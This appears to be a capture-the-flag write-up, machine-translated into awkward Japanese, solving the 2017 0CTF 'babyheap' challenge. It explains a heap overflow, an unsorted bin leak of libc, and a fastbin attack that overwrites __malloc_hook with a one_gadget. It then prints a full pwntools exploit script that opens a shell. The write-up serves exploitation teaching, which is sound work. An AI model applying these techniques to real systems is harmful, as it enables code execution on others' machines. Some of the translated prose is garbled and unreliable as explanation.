2017-0ctf-babyheap

攻撃+ unsortedbin攻撃+の__malloc_hook fastbin使用に基づいて、

ダウンロードタイトル:https://uaf.io/assets/0ctfbabyheap

2017年には、この質問0ctf質問は非常に簡単です

基本的な情報のタイトルを初めて目
$ checksec babyheap
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

完全な保護は、これらの機能を書き留め、IDAと組み合わせた、典型的なメニュータイトルを、あります

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')    

そして、IDAで見つかりました

__int64 __fastcall fill(__int64 a1)
{
  ...
  printf("Index: ");
  result = num();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = num();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
 ====>  result = read____(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
 ...

彼は、我々は別のスタックスタックに1つのブロックからオーバーフローすることができ、入力の長さで判断をしませんでした

私たちは、ヒープブロックのサイズを制御するために行うことができます

  1. unsortedbin攻撃によってヒープのアドレスを外部に漏れします
    • いくつかの小さな積み重ね事前に適用されます
    • (各3、FDの大きなチャンクを含むことができる)、サイズ変更の第二のチャンクをオーバーフローの最初のチャンクを使用して
    • 第2のフリーチャンクは、当時適用されます
    • この第三のチャンクチャンク主な変更点と(フリーエネルギー後方unsortedbin)
    • 第三のチャンクは、第二のチャンクFD(main_arena + 88のアドレス)によって読み取られます
  2. 制御__malloc_hookによってFastbin攻撃
    • チャンク0x60のサイズの事前に自由落下アプリケーション
    • 変更のアイデアによる最初のステップは、FDの自由である__malloc_hookです
  3. __malloc_hookが変更され
  4. one_gadget実行するために呼び出すのcalloc
1.ヒープのアドレスはunsortedbin攻撃を通じて外部に漏れします
alloc(0x10)#idx0    
alloc(0x10)#idx1    
alloc(0x30)#idx2    
alloc(0x40)#idx3    
alloc(0x60)#idx4    

fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1) 
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读 idx2 ->fd 了

fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)

dump(1)         
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))

無料(2)私はidx2-次のチャンクにunsortedbinチェックを制御するために行かなかったとき>サイズは0x91を後に変更、次のチャンクがちょうどidx4である、上記5つのメモリサイズのアプリケーションは、私慎重に構築されます

次のようにEXPを完了します。

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

#context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')    
    
#-------leak main_arena -  unsorted bin attack ------
alloc(0x10)#idx0    
alloc(0x10)#idx1    
alloc(0x30)#idx2    
alloc(0x40)#idx3    
alloc(0x60)#idx4    

fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1) 
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了

fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)

dump(1)         
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook ---------------------------

libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr))

payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode) 

alloc(1)
p.sendline('bash')
p.interactive()

私たちはgetshellため、__malloc_hookの関数のアドレスを記述する必要があります

0x4526aこのオフセットはこのようなものを書くことです。

<do_system+1098>:     mov    rax,QWORD PTR [rip+0x37ec47]    
<do_system+1105>:     lea    rdi,[rip+0x147adf]              
<do_system+1112>:     lea    rsi,[rsp+0x30]
<do_system+1117>:     mov    DWORD PTR [rip+0x381219],0x0    
<do_system+1127>:     mov    DWORD PTR [rip+0x381213],0x0    
<do_system+1137>:     mov    rdx,QWORD PTR [rax]
<do_system+1140>:     call   0x7f7f36b27770 <execve>

この場所は、ガジェットを共有見つける方法です:? Https://github.com/david942j/one_gadget.git

$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
$

これは、裁判が行く4つのアドレスである!サンパウロ年!

おすすめ

転載: www.cnblogs.com/jazm/p/11184380.html